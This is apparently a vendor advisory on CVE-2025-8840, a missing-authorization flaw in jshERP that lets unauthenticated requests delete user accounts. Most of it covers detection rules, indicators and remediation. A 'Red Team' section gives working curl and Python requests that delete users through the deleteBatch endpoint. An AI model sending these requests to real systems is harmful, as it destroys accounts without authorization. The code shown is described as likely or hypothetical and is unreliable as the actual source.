CVE-2025-8840
Executive Summary
CVE-2025-8840 is an improper authorization vulnerability (CWE-285) identified in jshERP up to version 3.5. The flaw resides in the /jshERP-boot/user/deleteBatch endpoint, where manipulation of the ids argument allows an unauthenticated remote attacker to delete user records without proper authorization checks. The exploit has been publicly disclosed, increasing the risk of active exploitation. The EPSS score is 0.0%, indicating low immediate exploitation probability, but the public availability of the exploit warrants immediate attention. No official patch has been released by the vendor (Jsherp). This vulnerability is distinct from CVE-2025-7947.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
jshERP is an open-source ERP system typically deployed as a Java/Spring Boot application. The vulnerability does not directly affect package registries (NPM, PyPI, Go, Ruby), but organizations using jshERP as a dependency or in a containerized environment should verify their deployment versions and apply any available mitigations.
CVSS Breakdown & Threat Level
- CVSS Score: 5.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited data modification (user deletion).
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The vulnerability allows unauthorized deletion of user records, which can lead to account lockout, data loss, and potential privilege escalation if combined with other flaws.
Deep Dive & Mechanics
The vulnerability is a classic improper authorization (CWE-285) in the deleteBatch endpoint of jshERP. The endpoint accepts a POST request with an ids parameter (likely a comma-separated list of user IDs) and deletes the corresponding user records from the database. The flaw is that the endpoint does not verify whether the requesting user has administrative privileges or any valid session. An attacker can craft a simple HTTP request to delete arbitrary users.
Root Cause: The deleteBatch function lacks an authorization check (e.g., @PreAuthorize annotation in Spring Security) before executing the delete operation. The function likely uses a repository method like deleteAllByIdInBatch() without verifying the caller's role.
Attack Flow:
- Attacker identifies a jshERP instance (e.g., via Shodan or Google dork).
- Attacker sends a POST request to
/jshERP-boot/user/deleteBatchwithids=1,2,3(or a single ID). - The server deletes the specified user records without authentication.
- The attacker can repeat the request to delete all users, causing a denial of service or account lockout.
Vulnerable vs. Patched Code
Vulnerable Code (jshERP <= 3.5):
// UserController.java (vulnerable)
@PostMapping("/user/deleteBatch")
public Result deleteBatch(@RequestParam("ids") String ids) {
String[] idArray = ids.split(",");
for (String id : idArray) {
userService.deleteById(Long.parseLong(id));
}
return Result.success();
}
Patched Code (Hypothetical fix):
// UserController.java (patched)
@PostMapping("/user/deleteBatch")
@PreAuthorize("hasRole('ADMIN')")
public Result deleteBatch(@RequestParam("ids") String ids) {
// Validate current user is authenticated and has admin role
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
if (auth == null || !auth.isAuthenticated() || !auth.getAuthorities().contains(new SimpleGrantedAuthority("ROLE_ADMIN"))) {
return Result.error("Unauthorized");
}
String[] idArray = ids.split(",");
for (String id : idArray) {
userService.deleteById(Long.parseLong(id));
}
return Result.success();
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of jshERP <= 3.5 (e.g., from Docker Hub or GitHub releases).
- Network access to the target.
Exploit Steps:
- Identify the target:
http://target:8080/jshERP-boot/user/deleteBatch - Send a POST request with the
idsparameter.
Example using cURL:
curl -X POST "http://target:8080/jshERP-boot/user/deleteBatch" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "ids=1,2,3"
Example using Python:
import requests
target = "http://target:8080/jshERP-boot/user/deleteBatch"
ids = "1,2,3" # Replace with actual user IDs
response = requests.post(target, data={"ids": ids})
print(response.text)
Expected Output: A JSON response indicating success (e.g., {"code": 200, "msg": "success"}).
Blue Team (Detection & Defense)
Detection:
- Monitor HTTP POST requests to
/jshERP-boot/user/deleteBatchwithout a valid session cookie or authorization header. - Look for multiple rapid requests to this endpoint (potential bulk deletion).
- Alert on any successful deletion of user accounts without prior authentication.
Defense:
- Immediately restrict network access to the jshERP application (e.g., via firewall or VPN).
- Implement a Web Application Firewall (WAF) rule to block requests to
/jshERP-boot/user/deleteBatchunless they include a valid admin session token. - Apply the hypothetical patch (add
@PreAuthorizeannotation) if source code is available. - Monitor logs for unauthorized access attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/jshERP-boot/user/deleteBatchwithidsparameter. - Source IP addresses performing multiple deletion requests.
- Absence of session cookies (e.g.,
JSESSIONID) in requests to this endpoint.
- HTTP POST requests to
Host IOCs:
- Log entries showing
deleteBatchcalls without prior authentication. - Database logs showing bulk deletion of user records.
- Application logs with
Result.success()responses for unauthorized requests.
- Log entries showing
File IOCs:
- Modified or deleted user records in the database.
- Temporary files or scripts used for exploitation (e.g.,
exploit.py).
Detection Engineering
YARA Rule
rule CVE_2025_8840_jshERP_DeleteBatch {
meta:
description = "Detects exploitation attempts of CVE-2025-8840 in jshERP"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-8840"
strings:
$s1 = "/jshERP-boot/user/deleteBatch" ascii wide nocase
$s2 = "ids=" ascii wide nocase
$s3 = "POST" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-8840 jshERP Unauthorized User Deletion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to the jshERP deleteBatch endpoint without authentication
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/jshERP-boot/user/deleteBatch'
cs-uri-query|contains: 'ids='
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2025-8840 jshERP Unauthorized User Deletion Attempt";
flow:to_server;
content:"POST";
http_method;
content:"/jshERP-boot/user/deleteBatch";
http_uri;
content:"ids=";
http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the application: Restrict network access to jshERP using firewall rules or VPN.
- Apply WAF rules: Block requests to
/jshERP-boot/user/deleteBatchunless they include a valid session token. - Monitor logs: Review access logs for unauthorized requests to this endpoint.
Long-Term Fix:
- Patch the code: Add authorization checks (e.g.,
@PreAuthorize("hasRole('ADMIN')")) to thedeleteBatchmethod. - Upgrade: If a patched version becomes available, upgrade immediately.
- Implement authentication: Ensure all sensitive endpoints require authentication and proper role-based access control.
Workaround:
- Disable the
deleteBatchendpoint by removing or commenting out the mapping in the controller. - Use a reverse proxy (e.g., Nginx) to block requests to this specific URI.
Valters IT
DevSecOps & Cyber Threat Intelligence